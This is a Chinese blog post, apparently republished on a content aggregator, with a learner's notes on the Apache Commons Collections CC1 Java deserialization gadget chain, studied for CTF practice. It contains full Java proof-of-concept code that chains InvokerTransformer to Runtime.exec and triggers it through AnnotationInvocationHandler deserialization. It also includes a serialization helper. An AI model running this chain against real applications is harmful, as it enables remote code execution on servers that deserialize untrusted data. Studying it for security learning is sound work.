【心得】java从CC1链入门CC链个人笔记

这篇具有很好参考价值的文章主要介绍了【心得】java从CC1链入门CC链个人笔记。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

来劲了,感觉离真正的CTF又近了一步。

本文仅从一个萌新的角度去谈,如有纰漏,纯属蒟蒻。

目录

CC链概念

CC链学习前置知识

CC1链

Version1

Version2

Version3


CC链概念

CC链  Commons Collections apache组织发布的开源库

里面主要对集合的增强以及扩展类  被广泛使用 如HashMap  HashTable  ArrayList

总结一下CC链:就是有反序列化入口,同时有cc库的情况下,如何进行rce或者文件读取

CC链学习前置知识

Transformer

特征  

1 是一个接口
2 有一个transformer方法,传入一个参数object,穿出一个参数object
3 有点像 转接头  扩展坞

实现类

ConstantTransformer  常量转换器   传入任何值 传出的,都是固定值

InvokerTransformer  反射调用转换器   传入方法名,方法参数类型 方法参数  进行反射调用

ChainedTransformer 链式转换器 分别调用传入的transformer类数组的transformer方法

新的数据结构

TransformerMap  分别可以对 key 和value 执行构造参数里面的transformer转换

CC1链

网上资源有很多,就不班门弄斧了,更多去谈自己做的过程的想法。

贴出一篇:CC1链详解

总结一下就是下面这些步骤

1 ChainedTransformer 配合ConstantTransformer和InvokerTransformer可以执行任意类的任意方法

2 将ChainedTransformer放入TransformerMap后,只要调用TransformerMap的checkSetValue方法,就能够调用value对象的transform方法从而RCE

3 我们要找到一个类,它的属性可以设置为 TransformerMap ,然后它调用了这个属性的checkSetValue方法

4 找到了AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法

5 setValue方法调用了 TransformerMap 的checkValue方法

6 checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

我做了三个版本迭代,前两个版本不涉及反序列化,就是自己测一测,其中第二个版本后作死尝试尝试去走put触发transform方法,最终失败,于是老老实实走了前人的大路。

Version1

package main;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test1 {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});
        chainedTransformer.transform("Z3r4y");
    }
}

这里其实就是利用ChainedTransformer的特性,把上一个transformer调用transform方法的返回值(得益于“扩展坞”的特性,Object进,Object出)传递给下一个transformer对象,作为其transform方法调用的参数,以此类推。

【心得】java从CC1链入门CC链个人笔记,java,笔记,开发语言,CC链,CC1,java反序列化

再加上ConstantTransformer无论输入什么值,输出的值都是可控的定值的特性,即可以传递给下一个transformer类一个可控的对象

【心得】java从CC1链入门CC链个人笔记,java,笔记,开发语言,CC链,CC1,java反序列化

 配合InvokerTransformer(调用方法,参数类型,参数均可控),便可以执行任意类的任意方法【心得】java从CC1链入门CC链个人笔记,java,笔记,开发语言,CC链,CC1,java反序列化

这个版本告诉我们只要可以触发ChainedTransformer的transform方法,就可以触发一条链的transform方法,最终实现RCE

Version2

package main;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

public class Test2 {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});

        HashMap hashMap = new HashMap();
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, chainedTransformer, null);
        transformedMap.put("Z3r4y","aaa");
    }
}

这里就是尝试找办法触发ChainedTransformer的transform方法,借鉴前人我们用了HashMap和transformedMap这两个数据结构,然后神奇的发现,transformedMap在修饰HashMap的kv对时,会分别调用传入Transformer对象的transform方法。

【心得】java从CC1链入门CC链个人笔记,java,笔记,开发语言,CC链,CC1,java反序列化

【心得】java从CC1链入门CC链个人笔记,java,笔记,开发语言,CC链,CC1,java反序列化

我们已经找到可以触发Version1的方法,但这还是不能达到可配合反序列化的目的,按思路走,我们下一步应该找一个类的readObject方法,其中调用同名的put方法。

Version3

绷不住了,就这卡的时间最长,确实没找到调用put的readObject方法,选择放弃未必不是明智之举。

下面都是说烂的东西

AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法

setValue方法调用了 TransformerMap 的checkValue方法

checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import util.SerializeUtil;

import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap hashMap = new HashMap();
        hashMap.put("value", "xxx");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);


        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);

        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);

        byte[] data = SerializeUtil.serialize(instance);
        SerializeUtil.unSerialize(data);
    }
}

序列化反序列化的工具类:文章来源地址https://www.toymoban.com/news/detail-822485.html

package util;

import java.io.*;

public class SerializeUtil {
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
        return o;
    }
}

到了这里,关于【心得】java从CC1链入门CC链个人笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java代码审计&原生反序列化&CC链跟踪分析

    希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!   个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser\\\'s Blog 在前一篇文章我分析了Commons Collections1链​​​​​​​,其中跟链的顺序是:source=gadget=sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=gadget=s

    2024年01月24日
    浏览(31)
  • C语言初阶——手把手教零基础/新手入门(万字心得笔记)

    目录 前言 一、C语言是什么? 二、开发环境 1.编译器 三、初始C语言 1.第一个C语言程序 2.数据类型 2.1 数据类型的长度 3. 变量 常量 3.1 如何定义变量 3.2 变量的分类  3.3 变量的作用域和生命周期 3.4常量 1.字面常量 2.const修饰的常变量  3.#define定义的标识符常量 4.枚举常量

    2024年02月03日
    浏览(81)
  • c++: internal compiler error: Segmentation fault (program cc1plus) 解决

            在ubuntu中编译很多库,尤其是很大的一些中间件,常常会c++: internal compiler error: Segmentation fault (program cc1plus)这个错误,看到这个错误,很多人一搜索,大部分都是告诉你内存不足, 很多人应该增加了虚拟内存后都没有解决 。     由于我也踩到了这个坑,所以这

    2024年02月12日
    浏览(44)
  • NXP MCUXPresso - cc1plus.exe: out of memory allocating 65536 bytes

    在尝试迁移 openpnp - Smoothieware project 从gcc命令行 + MRI调试方式 到NXP MCUXpresso工程. 遇到了编译器错误 cc1plus.exe: out of memory allocating 错误后面的字节数, 根据代码实现的不同, 也可能是其他数字. 查到资料上说的原始资料 cc1plus.exe: out of memory allocating 65536 bytes 尝试对MCUXPresso的cc1p

    2024年02月03日
    浏览(34)
  • gcc: fatal error: cannot execute ‘cc1plus’: execvp: No such file or directory

    今天在Linux操作系统上开发C语言的时候,写好了一个helloword代码,想直接用gcc编译运行, 没想到直接给报错!!!

    2024年02月10日
    浏览(28)
  • 【ubuntu】gcc: fatal error: cannot execute ‘cc1plus’: execvp: No such file or directory

    在 ubuntu 20.04 系统中编译 graphlearning 源码时出现如下报错: 按照其他网友的方法,我使用了这条命令: sudo apt install g++-aarch64-linux-gn 但很不幸,又出现新的新的报错: 报错复报错,报错何其多。与其查博客,不如看信息。 于是乎,我还是老老实实地回到最开始,报错的信息

    2024年02月12日
    浏览(38)
  • 嵌入式Linux交叉编译过程中遇到”cannot execute ‘cc1plus‘:execvp:No such file or directory“问题的解决方法

    今天又是遇到问题的一天,耗时两小时(因为找解决方法的过程中遇到了较多麻烦)。 问题的起因是我在编译T113-S3_100ask开发板驱动程序的过程中,突然中断报错了,错误如下图所示。 由于我也是刚接触嵌入式linux驱动编写,所以,对于一些问题看得不是很懂。所以,我选择

    2024年02月07日
    浏览(39)
  • 读数据压缩入门笔记10_通用压缩和序列化

    1.2.3.1. 如果今天多云,那么明后两天会下雨的概率是多少? 1.2.5.1. 要使马尔可夫链算法变得实用,就必须要解决内存消耗问题与计算性能问题,即使用最佳链来编码 1.4.3.1. 在PPMZ算法中,对于符号如何去响应匹配,人们尝试了多种类型的上下文 1.4.6.1. 缺点是在进行数据压

    2024年02月16日
    浏览(31)
  • 【Go】Go语言开发0基础7天入门 - 笔记

    课程来源:【路飞学城】-黑金年卡VIP课程 课程名称:GO语言开发0基础7天入门 讲师:【 前汽车之家架构师 】Wusir-银角大王 官网:点击进入 集python简洁 + C语言性能 详情点击 编程语言 实战经验 源码 并发架构 新语言触类旁通 1.1 开篇介绍(必看) 1.2 环境搭建前戏 1.3 mac系统G

    2024年02月16日
    浏览(37)
  • 自然语言处理从入门到应用——LangChain:链(Chains)-[通用功能:链的保存(序列化)与加载(反序列化)]

    分类目录:《大模型从入门到应用》总目录 LangChain系列文章: 基础知识 快速入门 安装与环境配置 链(Chains)、代理(Agent:)和记忆(Memory) 快速开发聊天模型 模型(Models) 基础知识 大型语言模型(LLMs) 基础知识 LLM的异步API、自定义LLM包装器、虚假LLM和人类输入LLM(

    2024年02月11日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包